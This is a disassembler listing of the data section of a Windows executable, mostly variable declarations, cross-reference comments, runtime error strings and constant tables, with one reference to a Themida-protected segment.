		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4C0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D4C4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D4C8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4CC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4D8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4DC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
		dd 0FFh, 427940h
off_43D568	dd offset dword_4DC020	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC020
		dd 101h
dword_43D578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D588	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7E8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D7F0	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D7F8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D810	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D988	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DAFC	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB1C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB3C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB60	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB80	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB88	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DB90	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBA8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E710	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E910	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E914	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E918	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E91C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E920	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E924	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E928	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B89h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043492Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385C0o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43902Co
dword_457444	dd 0E306h dup(0)
dword_49005C	dd 5156h dup(0)		; DATA XREF: ___:off_432948o
		db 3 dup(0)
byte_4A45B7	db 0			; DATA XREF: Themida_:loc_5689DCo
dword_4A45B8	dd 4227h dup(0)
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43165Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438E98o
dword_4B5248	dd 5932h dup(0)
dword_4CB710	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB714	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB718	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB71C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB79C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7DC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB86C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB870	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB880	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB884	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB888	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB88C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB890	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB894	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB898	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB89C	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB8F0	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB900	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB904	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB908	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB90C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB910	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB914	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB91C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB920	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB928	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB92C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB934	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB938	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB93C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB940	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB944	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB948	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB950	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB954	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB958	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB95C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB960	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB964	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB968	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB96C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB970	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB974	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB978	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB97C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB980	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB984	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB988	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB98C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB998	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB99C	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9B0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9C0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9D4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9E4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9EC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CB9F8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CB9FC	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA04	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA08	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA10	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA14	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA18	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA20	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA24	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA30	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA34	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA40	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA44	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA54	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA58	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA60	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA64	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA68	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA70	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA80	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBA90	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBA9C	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAA4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAB4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAC4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBACC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAD4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBADC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB00	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB04	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB18	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB20	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB24	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
		dd 7FEh	dup(0)
dword_4CDB20	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB38	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB3C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB40	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB44	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB48	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBC8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBD0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBDC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCE0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDE4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDE8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDEC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDDF0	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE70	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE74	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE78	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE84	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF88	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE08C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE090	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE094	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE098	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE118	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE11C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE120	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE12C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3B4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4C0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4C4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4CC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4DC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4E0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4E4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6EC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE6F4	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE704	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE708	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE710	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE718	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE71C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE72C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE734	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEB60	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF180	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
dword_4CF5F4	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D35F4	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
